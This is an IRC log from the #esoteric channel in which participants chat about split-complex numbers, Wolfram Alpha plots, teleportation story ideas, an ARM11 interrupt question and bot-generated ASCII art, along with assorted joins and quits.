:uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: well, visualize that shape. < 1269221138 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can I just plot it on Wolfram? < 1269221154 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Probably. < 1269221157 0 :ubunt63!~ubuntu@151.54.28.106 JOIN :#esoteric < 1269221199 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but does he _want_ such a tattoo? < 1269221227 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I don't know whether Wolfram wants such a tattoo. < 1269221236 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess even if he had it, we wouldn't be able to see it. < 1269221302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Sgeo: I'm guessing you understand all but one word of "take the absolute value, and then multiply it by the square of the sine of the argument". < 1269221307 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which word doesn't he understand? < 1269221317 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: http://www.wolframalpha.com/input/?i=plot+abs%28x%2By*i%29*cos%5E2%28arg%28x%2By*i%29%29 < 1269221318 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm why would you square it? < 1269221329 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you'd want it negative sometimes < 1269221353 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Trigonometry fail on my part. < 1269221363 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take the absolute value, and then multiply it by twice the cosine of the argument. < 1269221366 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Er. < 1269221369 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Idle speculation: do you get some sort of sensible structure from matrices of the form [a b; b a], with the usual matrix addition and multiplication? It won't be a field, since there's no multiplicative inverse if a=b there, but is it isomorphic to some other well-known thing? < 1269221374 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Take the absolute value, and then multiply it by the cosine of twice the argument. < 1269221395 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: neither works since they don't fulfil f(-x) = f(x) < 1269221417 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :This doesn't fulfill that? < 1269221426 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :didn't see your last one < 1269221434 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: http://www.wolframalpha.com/input/?i=plot+abs%28x%2By*i%29*cos%282*arg%28x%2By*i%29%29 < 1269221439 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :my workbench is almost complete. all it needs is a work surface. :D < 1269221455 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I think there's a name for those. < 1269221467 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :win 12 < 1269221474 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :arg? < 1269221483 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: the split-complex numbers. < 1269221493 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the argument function. It returns the angle of the Argand diagram. < 1269221503 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It does the same sort of thing as the signum function. < 1269221504 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION mindboggles
< 1269221517 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, in a sense, it's the angle of the complex number. < 1269221521 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is completely clueless as to what Warrig.. oh
< 1269221538 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm wait maybe i'm the one failing trigonometry here < 1269221549 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The argument of 1 is 0, the argument of i is pi/2, the argument of -1 is pi, and so on. < 1269221551 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION will just stay lost
< 1269221557 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: but I also failed trigonometry. < 1269221610 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: it's isomorphic to the ring of 2*2 matrices ;D < 1269221654 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait now i'm failing reading too < 1269221713 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it seems they've called split-complex numbers indeed. < 1269221788 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(And a huge pile of other names.) < 1269221839 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's fun to have both the complex numbers and the split-complex numbers. < 1269221851 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You have both i and j such that i^2 = -1 and j^2 = 1. < 1269221869 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Then ij = -ji. < 1269221877 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Darn, we've lost commutativity. < 1269222008 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also < 1269222009 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh man < 1269222021 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :my university has the most students presenting at ECO5 < 1269222022 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wtf < 1269222024 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How does @ fit in with all of this < 1269223090 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i have to go really soon... it's 1am i have to be up at 7 < 1269223127 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise: bye ::hug:: < 1269223151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :unless fax says anything interesting in /msg in the next minutes or so... < 1269223237 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Bye alise :/ < 1269223322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyone have anything else to say? < 1269223336 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :stay strong, young one! < 1269223347 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<3, everyone. < 1269223353 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gets in TARDIS; destination: Friday.
< 1269223371 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION plays Dr Who theme
< 1269223386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHAAAAAAAROOOOOOOOOOOOOOOO < 1269223390 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DAH DUHHHHHHHHHHHHHHHHHHHHHHHHHHHH < 1269223402 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :DAH DUH DUH DUH DUH DUH DUH (DUH DUH) DUH BAM BAM BAM BUM < 1269223407 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WHUUUUUUUUUAAAAAAAAROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo < 1269223410 0 :alise!unknown@unknown.invalid QUIT :Quit: Leaving < 1269223441 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :*.* < 1269223525 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi augur < 1269223535 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hey fax < 1269223537 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :soup? < 1269223588 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :me and alise were talking about finitism and ultrafinitism < 1269223605 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its stupid k. < 1269223609 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269223656 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also < 1269223658 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :TWO WEEKS O_O < 1269223676 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm? < 1269223681 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yeah, figures. :| < 1269223688 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Dr Who! < 1269223837 0 :ubunt63!unknown@unknown.invalid PART #esoteric :? < 1269223845 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"Doctor" < 1269224036 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hush your face < 1269225598 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i tried to go to sleep but i proved a theorem and had to come write it down :< < 1269225638 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :and now i can't sleep because my brain is all hyper < 1269225657 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1269225659 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :awesome :) < 1269225664 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hugs oklopol
< 1269225665 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269225682 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :\o/ < 1269225682 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :  | < 1269225682 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : /< < 1269225686 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :grr < 1269225697 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1269225700 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :myndzi :D < 1269225707 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i missed you :) < 1269225717 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :myndzi or me?!? < 1269225720 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : \m/ \m/ < 1269225721 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :\o/ \o/ \o/ < 1269225728 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :D: < 1269225730 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :\OO/ < 1269225734 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: myndzi. < 1269225736 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : \m/ \m/ < 1269225740 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :\^__^/ < 1269225743 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :bah < 1269225744 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :augur i knwo < 1269225745 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :tho i do love you totes. < 1269225745 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*know < 1269225754 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i had just forgotten myndzi's silliness < 1269225771 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : \m/ \m/ < 1269225771 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :    `\o/� < 1269225771 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :      | < 1269225771 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :     /�\ < 1269225771 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :   (_| |_) < 1269225830 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What just happened? < 1269225851 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Myndzibot < 1269225856 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the world ended. fortunately, they had a backup. < 1269225871 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Sounds like Station V3 < 1269225888 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i tried reading that < 1269225911 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but after a number of comics, i discovered i was bored < 1269225919 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269226002 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :myndzi is not a bot! < 1269226034 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :myndzi is a cyborg! < 1269226041 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no but myndzi does RUN a bot < 1269226058 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :directly on er username < 1269226563 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :/b/ < 1269226823 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :uh oh lol < 1269226833 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :that one gets me in trouble sometimes! < 1269226965 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :not everybody lols. \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ \o/ < 1269226965 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                     |   |   |   |   |   |   |   |   |   |   |   | < 1269226965 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :                    /�\ /|  /|  /<   >\ /`\ /<  /<   |\  >\  >\  |\ < 1269226980 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269227127 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :myndzi: i like how his dick is waggling < 1269227150 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : \m/ \m/ < 1269227150 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :      `\o/� < 1269227151 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :        | < 1269227151 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :    (_|�`�|_) < 1269227152 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269227157 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :wavin' in the breeze < 1269227160 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That seems ..off < 1269227166 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : \m/\m/ < 1269227190 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : \f/ \f/ < 1269227192 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :\o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ \m/ \m/ \o/ < 1269227192 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : |   `\o/�   |   `\o/�   |   `\o/�   |   `\o/�   |   `\o/�   |   `\o/�   |   `\o/�   |   `\o/�   |   `\o/�   | < 1269227192 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :/<     |    /|     |     |\    |     |\    |    /|     |    /|     |    /<     |     |\    |    /|     |    /| < 1269227192 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :      /�\      (_|�`\         /�\         /`�|_)      /`\      (_|�'�|_)      /`\      (_|�'\         /�\ < 1269227192 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :    (_| |_)         |_)     (_| |_)     (_|         (_| |_)                 (_| |_)         |_)     (_| |_) < 1269227426 0 :adu!unknown@unknown.invalid PART #esoteric :? < 1269228409 0 :wareya!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269228533 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269228873 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I have pokemon music stuck in my head < 1269228925 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :as long as you don't have a pokemon stuck in your head < 1269228959 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269228970 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :there's this one bit that sounds so awesome! < 1269229010 0 :Asztal!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269229737 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Reboot < 1269230069 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269230117 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269231203 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fax! D: < 1269231205 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :noooo < 1269231236 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i had a crazy idea for a story thanks to c-realm < 1269231302 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1269231449 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :What idea of story did you mean < 1269231487 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we invent teleportation. it works wonderfully for non-living things. but for living things, it screws up your electrochemistry, causing temporary death, and so its not recommended that people teleport too much or too frequently < 1269231552 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :our protagonist has such and such kind of job that necessitates increasing use of teleportation, and the more he uses it the more he starts to see things in the teleportation. < 1269231703 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269231704 0 :nooga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269231711 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :he starts to see things. im not sure what yet, something inexplicable and such. < 1269231731 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and eventually he ends up spending more and more subjective time in the jumps < 1269232193 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I have my own story about teleportation: One guy makes up a new kind of teleporter but something goes wrong. Now we lost the harp. But that's OK, because it caused other things too which are beneficial to the situation anyways. The End < 1269232420 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what? XD < 1269232566 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Well, actually................ < 1269232651 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :augur: your story is called Hyperion < 1269232747 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :I have another question, too: I thought of to connect high-address-bit of ARM11 to a flip-flop, and then the flip-flop to the NMI, but there must be some kinds of problem with instruction prefetch? Can this be fixed? < 1269232767 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lament: ey? < 1269233339 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1269233575 0 :charlls!charlls@186.72.57.149 JOIN :#esoteric < 1269234720 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION fails to see "Cryonics" on WhatsTheHarm
< 1269236241 0 :charlls!unknown@unknown.invalid QUIT :Quit: Saliendo < 1269238318 0 :zzo38!unknown@unknown.invalid QUIT :Quit: THIS IS NOT FOR GEFINGERPOKEN < 1269238959 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269243730 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269244799 0 :clog!unknown@unknown.invalid QUIT :ended < 1269244800 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269245266 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269245266 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269247487 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269247794 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269249306 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1269251605 0 :nooga!~nooga@86-63-124-134.sta.asta-net.com.pl JOIN :#esoteric < 1269252393 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269253099 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :guten tag < 1269253106 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hujen morgen < 1269253119 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :morn morn < 1269253477 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269254578 0 :nooga!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269254895 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269254915 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269254929 0 :uorygl!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269255057 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269255216 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269256683 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269257568 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269258065 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269260118 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269264040 0 :Asztal!~asztal@host86-156-99-114.range86-156.btcentralplus.com JOIN :#esoteric < 1269265330 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :`define nickname < 1269265339 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* a familiar name for a person (often a shortened version of a person's given name); "Joe's mother would not use his nickname and always called him ... \ * dub: give a nickname to \ * a descriptive name for a place or thing; "the nickname for the U.S. Constitution is `Old Ironsides'" < 1269265700 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :`define Hitler < 1269265701 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* German Nazi dictator during World War II (1889-1945) \ [23]wordnetweb.princeton.edu/perl/webwn \ * Hitler is a Malayalam movie about the life of Madhavankutty (known as Hitler), a bachelor a protective brother of five younger. ... < 1269265717 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :ahahah wat < 1269265772 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :`define esoteric < 1269265774 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* confined to and understandable by only an enlightened inner circle; "a compilation of esoteric philosophical theories" \ [22]wordnetweb.princeton.edu/perl/webwn \ * Esoteric is the fourth studio album by Swedish metal band Skyfire. It was released on September 14 in the United Kingdom, September 18 for the ... < 1269265824 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :is that an appropriate definition for esolangs, I wonder? < 1269265849 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for esolangs, it's more that only a small number of people bother trying to understand them, rather than only a small number of people capable of understanding them < 1269265852 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1269265860 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(except in a few cases like Feather, which not even I understand and I thought up the idea...) < 1269265908 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269266241 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's still "confined to" and "currently understandable by"; I don't think the definition has to imply that it should be especially difficult to learn to understand. < 1269266258 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, ok < 1269266266 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's just my take, of course. < 1269266272 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :to me, that definition implies that the info is somehow kept secret < 1269266387 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, maybe it has hints of that. Though "a compilation of esoteric philosophical theories" sounds more like not-interesting-to-many than kept-secret-by-design. < 1269267148 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"About NetHack: power to protect the wearer's face; a feature that gives rise to their knees before arthur. the motile phase, commonly..." < 1269267225 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: are you using "About NetHack" for all fungot's twitter posts? < 1269267225 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :ais523: where does he live? d:: double clicking selects its text editing both direction < 1269267264 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: No, there's also "About IRC", "About Penny Arcade" and "About Chrono Trigger" posts, but for some reason the NetHack ones seem to be best. < 1269267368 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1269268218 0 :cheater2!unknown@unknown.invalid QUIT :Quit: Leaving < 1269268455 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269268613 0 :cheater2!~cheater@ip-80-226-246-145.vodafone-net.de JOIN :#esoteric < 1269268894 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1269270077 0 :MigoMipo!~migomipo@84-217-13-45.tn.glocalnet.net JOIN :#esoteric < 1269270204 0 :ais523_!~93bcc029@gateway/web/freenode/x-nowfennqbvjauusu JOIN :#esoteric < 1269270526 0 :cheater2!unknown@unknown.invalid QUIT :Quit: Leaving < 1269271182 0 :mycrofti1!~ircguy@h69-128-47-242.mdsnwi.dedicated.static.tds.net JOIN :#esoteric < 1269271221 0 :werdan7_!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1269271452 0 :fizzie`!~fis@2001:1bc8:102:587b:230:18ff:fea9:6f01 JOIN :#esoteric < 1269271466 0 :fizzie!unknown@unknown.invalid QUIT :*.net *.split < 1269271466 0 :werdan7!unknown@unknown.invalid QUIT :*.net *.split < 1269271466 0 :bsmntbombdood!unknown@unknown.invalid QUIT :*.net *.split < 1269271466 0 :mycroftiv!unknown@unknown.invalid QUIT :*.net *.split < 1269271635 0 :cheater2!~cheater@ip-80-226-243-132.vodafone-net.de JOIN :#esoteric < 1269271900 0 :bsmntbombdood!~gavin@97-118-247-81.hlrn.qwest.net JOIN :#esoteric < 1269272171 0 :cheater2!unknown@unknown.invalid QUIT :Quit: Leaving < 1269272592 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269272656 0 :cheater2!~cheater@ip-80-226-46-214.vodafone-net.de JOIN :#esoteric < 1269274125 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269274271 0 :MigoMipo!~migomipo@84-217-13-45.tn.glocalnet.net JOIN :#esoteric < 1269274388 0 :mycrofti1!unknown@unknown.invalid NICK :mycroftiv < 1269274644 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269275280 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :anyone here have experience with optical character recognition? < 1269275327 0 :MigoMipo!~migomipo@84-217-13-45.tn.glocalnet.net JOIN :#esoteric < 1269275573 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :I do it with my eyes every day! < 1269276733 0 :uoryfon!~warriphon@unch1537.unch.unc.edu JOIN :#esoteric < 1269277345 0 :werdan7_!unknown@unknown.invalid QUIT :Ping timeout: 615 seconds < 1269277646 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1269277751 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :lereah_: :-P < 1269278861 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1269279959 0 :uoryfon_!~warriphon@unch1537.unch.unc.edu JOIN :#esoteric < 1269279959 0 :uoryfon!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269279963 0 :uoryfon_!unknown@unknown.invalid NICK :uoryfon < 1269280128 0 :uoryfon!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269280211 0 :uoryfon!~warriphon@unch1537.unch.unc.edu JOIN :#esoteric < 1269280326 0 :ais523_!unknown@unknown.invalid PRIVMSG #esoteric :"Seven-value logic may also be able to produce Turing-complete languages, but only extreme oddballs would want to use it." < 1269280335 0 :ais523_!unknown@unknown.invalid PRIVMSG #esoteric :no, nine! < 1269280451 0 :ais523_!unknown@unknown.invalid PRIVMSG #esoteric :the quote's from , which somehow still exists, and which is interesting (although I don't know if I agree with it or not yet) < 1269281072 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i don't know whether i agree or not either, because it's so long i'm not gonna read it! :) < 1269281341 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1269281722 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269281867 0 :ais523_!unknown@unknown.invalid QUIT :Quit: Page closed < 1269282086 0 :HackEgo!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269282128 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269282214 0 :lereah_!unknown@unknown.invalid QUIT :Quit: Leaving < 1269282335 0 :uoryfon!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269282382 0 :uoryfon!~warriphon@unch1537.unch.unc.edu JOIN :#esoteric < 1269282557 0 :uoryfon!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269282577 0 :uoryfon!~warriphon@unch1537.unch.unc.edu JOIN :#esoteric < 1269282825 0 :uoryfon_!~warriphon@unch1537.unch.unc.edu JOIN :#esoteric < 1269282825 0 :uoryfon!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269282827 0 :uoryfon_!unknown@unknown.invalid NICK :uoryfon < 1269282868 0 :uoryfon!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269282898 0 :uoryfon!~warriphon@unch1537.unch.unc.edu JOIN :#esoteric < 1269283142 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269283657 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1269283741 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1269283792 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION just tried to parallelize odd-even sort using openMP and found out that parallel version runs 100% slower
